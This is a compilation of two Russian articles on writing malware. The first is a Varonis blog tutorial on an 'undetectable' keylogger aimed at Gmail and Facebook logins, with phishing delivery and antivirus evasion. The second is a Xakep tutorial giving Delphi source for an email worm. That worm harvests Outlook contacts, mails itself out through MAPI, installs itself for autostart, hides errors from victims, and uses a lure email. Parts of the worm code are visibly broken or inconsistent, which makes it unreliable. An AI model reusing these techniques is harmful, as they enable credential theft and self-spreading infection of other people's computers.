Пишем свое вредоносное ПО. Часть 1: Учимся писать полностью «не обнаружимый» кейлогер
Хакерский мир можно условно разделить на три группы атакующих:
1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.
2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.
3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:
Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.
Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.
Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
Источник статьи: http://habr.com/ru/company/varonis/blog/302458/
Червь своими руками
Сегодня я опишу тебе принцип работы сетевого вируса. Тема, как ты понял, весьма актуальная, поскольку 70% лично моего ящика всегда бывает забита вирусами самого разного пошиба
— от мелких, но злобных VBS-червей до полуторамеговых произведений младших школьников 🙂 Они-то ведь не знают про существование WinAPI 🙂
Для проникновения на компьютер вирусы могут либо использовать баги в ПО юзера (VBS+Outlook= love:)) либо- баги в голове самого юзера. Рассмотрим пример такого вирусного письма:
Subj: Прикол
Привет! Держи крутой прикол, который я тебе (или не тебе, не помню :)) Обещал. Но все равно держи. Не бойся, по-настоящему он ничего не форматирует!
Проверить не забудь, параноик 🙂
Успехов!
Attach: fake_format.exe
Ну так вот: каждый ламероватый интернетчик посылает своим друзьям приколы постоянно, и, соответственно, не очень-то помнит, кому чего обещал; сообщение о «ненастоящем форматировании» переключает мозги жертвы в русло приколов, а слепая вера в антивирусы
— добивает 🙂 Напомню — описанные мной алгоритмы не определяются никакими webами, avp и другими бойцами.
Короче, мне самому уже захотелось запустить этот веселенький прикол. Запускаю 🙂
Error. intel pentium 5 not found!
Ой.. Вроде как не работает? Не, не угадал 🙂 На самом деле вирус тут же перенес свое тело на хард к жертве, записался в автозагрузку, и теперь будет тусоваться в оперативочке (хинт: на медицинском жаргоне «оперативка»- это ОПЕРАТИВНАЯ ХИРУРГИЯ, так что будь осторожен ;)) жертвы по принципу, описанному мной в статье «резидентный вирус своими руками». Только вот проверять он будет не запуск файлов, а подключение к сети интернет 🙂 (в исходнике это будет процедура IsOnline, так, на будущее ;)). Впрочем, одновременно
мониторить запуск файлов тебе никто не мешает
— это все-таки вирус, хоть и сетевик. Поэтому в логику я включу процедуру InfectFile. Таким образом, мы будем использовать следующие функции и процедуры:
ISONLINE — проверка соединения с инетом
SENDVIRUS — догадайся с трех раз 😉
GETMAILS — получаем адреса из AddresBook аутглюка
INFECTFILES — 🙂
WORKMEMORY — почти то же, что в прошлой статье, но с модификациями.
До начала собственно кодига на этот раз необходимы будут долгие предварительные ласки 🙂 Объясняю почему: для чтения адресной книги мы будем обращаться к аутлуку по межпрограммному интерфейсу, а для этого нам нехило поиметь его type library. Вот и делай: projectа import type library, и ищи там…правильно, Outlook express v.9 или какой там у тебя стоит. Девятой считается версия, если не ошибаюсь, из Office2k. Импортировал? Что значит «нет в списке»? Да ладно, бывает. Ищи вручную
— в каталоге с офисом есть файл msoutl.olb. Это она 😉 Теперь в раздел uses пиши outlook_tlb и будешь иметь доступ к самым интимным местам адресной книги 🙂 Ой, какой-то я сегодня озабоченный 😉
В общем, процедура потрошения адресбука должна выглядеть как:
uses
ComObj, outlook_tlb,
Forms;
.
Procedure GETMAILS;
var
MyFolder, MSOutlook, MyNameSpace, MyItem: Variant; s: string;
num, i: Integer;
mails: array of string;
begin
MSOutlook := CreateOleObject(‘Outlook.Application’);
MyNameSpace := MSOutlook.GetNameSpace(‘MAPI’);
MyFolder := MyNamespace.GetDefaultFolder(olFolderContacts);
SetLength (mails,MyFilder.Items.Count);
for i := 1 to MyFolder.Items.Count do
begin
MyItem := MyFolder.Items[i];
mails[i]:= myitem.email1addres;
end;
Ну как, порадовало тебя написанное? Гы, дальше будет только хуже. Потому что отправка вируса будет на чистом API. А это, как говорит Horrific: «то же самое, что ручной секс. Эффект есть в обоих случаях, но его приходится долго добиваться и нет такого кайфа» 🙂 Ну
так что я тут понаписал? Uses Comobj позволяет нам работать с COM технологией; далее мы только создаем OLE объект аутлука, и циклически выясняем у него список емайлов. Если тебе хочется выяснить еще что-нибудь
— это тоже реально, читай доки — они рулез. Хоть и на английском. Список емайлов пишется в динамический массив из строчек. Его будет юзать функция SendVirus. Вот эта:
function SendVirus(const RecipName, RecipAddress, Subject, Attachment: string): Boolean;
var
MapiMessage: TMapiMessage;
MapiFileDesc: TMapiFileDesc;
MapiRecipDesc: TMapiRecipDesc;
i: integer;
s: string;
begin
with MapiRecipDesc do begin
ulRecerved:= 0;
ulRecipClass:= MAPI_TO;
lpszName:= PChar(RecipName);
lpszAddress:= PChar(RecipAddress);
ulEIDSize:= 0;
lpEntryID:= nil;
end;
with MapiFileDesc do begin
ulReserved:= 0;
flFlags:= 0;
nPosition:= 0;
lpszPathName:= PChar(Attachment);
lpszFileName:= nil;
lpFileType:= nil;
end;
with MapiMessage do begin
ulReserved := 0;
lpszSubject := nil;
lpszNoteText := PChar(Subject);
lpszMessageType := nil;
lpszDateReceived := nil;
lpszConversationID := nil;
flFlags := 0;
lpOriginator := nil;
nRecipCount := 1;
lpRecips := @MapiRecipDesc;
if length(Attachment) > 0 then begin
nFileCount:= 1;
lpFiles := @MapiFileDesc;
end else begin
nFileCount:= 0;
lpFiles:= nil;
end;
end;
Result:= MapiSendMail(0, 0, MapiMessage, MAPI_DIALOG
or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0) = SUCCESS_SUCCESS;
end;
Ты не опух, пока это читал? Пойди, попей пивка, а то ничего не поймешь.
Выпил? Я тоже 😉 Хорошо, продолжаем. Юзать будешь так:
For i:= 1 to length (mails) do
begin
SendVirus (»,mails[i],’pricol’,’..’);
end;
Здесь мы задействуем функции uses MAPI, поэтому не забудь его объявить. Короче, это
— низкоуровневая работа с почтой. А для работы с почтой, как ты знаешь, надо иметь а)
email получателя б) текст письма в) аттач. Вот я и делаю:
MapiRecipDesc — описываю получателя, MapiFileDesc — аттач,
т.е. наш вирус, MapiMessage — это сообщение, потом я его командой MapiSendMail отправлю в большую жизнь 😉 Ну, не так это оказалось и сложно. Главное понять, что твой самый большой друг
— это не c:\porno, а win32.hlp 🙂
Как же теперь все это словоблудие уложить в суровую логику вируса? Сам разберешься, я тебе уже 2 статьи подряд об этом долблю. И вообще, я вчера отмечал день рождения моей девушки, теперь у меня слегка трещит голова 🙂 Ну ладно, чувство долга сильнее. Just Do It:
первой строчкой проверяешь имя файла, откуда ты стартовал. Если
pricol.exe — значит CopyFile к виндам 🙂 А если стартанул из виндового каталога
— то циклически проверяй подключение к всемирной 😉 сети. Проверяем:
function IsOnline: Boolean;
var
RASConn: TRASConn;
dwSize,dwCount: DWORD;
begin
RASConns.dwSize:= SizeOf(TRASConn);
dwSize:= SizeOf(RASConns);
Res:=RASEnumConnectionsA(@RASConns, @dwSize, @dwCount);
Result:= (Res = 0) and (dwCount > 0);
end;
Так. Если все путем, то вперед — тряси адресную книгу и рассылайся . Тут есть две хитрости. Если твое имя
pricol.exe — незамедлительно проверяй соединение. Возможно, пользователь проверяет почту в онлайне. Так наши шансы на рассылку сильно возрастут. До второй хитрости ты уже допер сам,
а именно, при описанном мной раскладе ты будешь все время отправлять одному и тому же юзеру одинаковые письма, только потому, что его не стерли из адресбука. Следовательно, все отработанные адреса записывай в логфайл и постоянно с ним сверяйся. Вроде бы все. Хотя нет. Не забывай ошибкоопасные фрагменты кода заключать в try..except. И ставить ключ <$D->. Потому что если юзер вдруг поймает ошибку в духе «‘FUCK’ is not valid integer value», он что-то да заподозрит.
ЗАКЛЮЧЕНИЕ
Эта последняя статья про вирусы, отлаженные под windows 9x. Недавно я форматнул винт, и поставил WindowsXP Professional, поэтому следующие примеры будут уже под него. А ты уже можешь потихоньку покупать Delphi 7, поскольку я свои шестые где-то посеял, и сейчас сижу вообще голый 🙂 Покупать буду, соответственно, седьмые 😉
Следующая статья, наверное будет посвящена стеганографии и ее практической реализации.
Источник статьи: http://xakep.ru/2002/11/29/17016/